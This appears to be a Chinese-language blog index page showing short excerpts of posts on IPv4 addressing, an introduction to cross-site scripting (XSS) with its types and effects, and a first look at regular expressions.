Internet Protocol version 4,缩写:IPv4,又称互联网通信协议第四版。ipv4有四段8bit,共32bit的二进制字符组成,而我们一般见到的ip地址则一般被写作点分十进制,例如一个最常见的ip:192.168.1.1,他的二进制形式为:11000000.10101000.00000001.00000001

阅读全文 »

xss的认识和学习

[TOC]

xss平台:XSS平台-XSS测试网站-仅用于安全免费测试(有时候不太好用,推荐用服务器)

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

一般的,xss攻击会分为三种情况,危害程度从低到高分别是:反射型持久型DOM型

阅读全文 »

正则表达式的初识

正则表达式(Regular Expression) 是一种文本模式,用于匹配和筛选特定格式的文本字符串等。

为了做数据处理相关的题目,所以顺便看看学习和了解一下。

阅读全文 »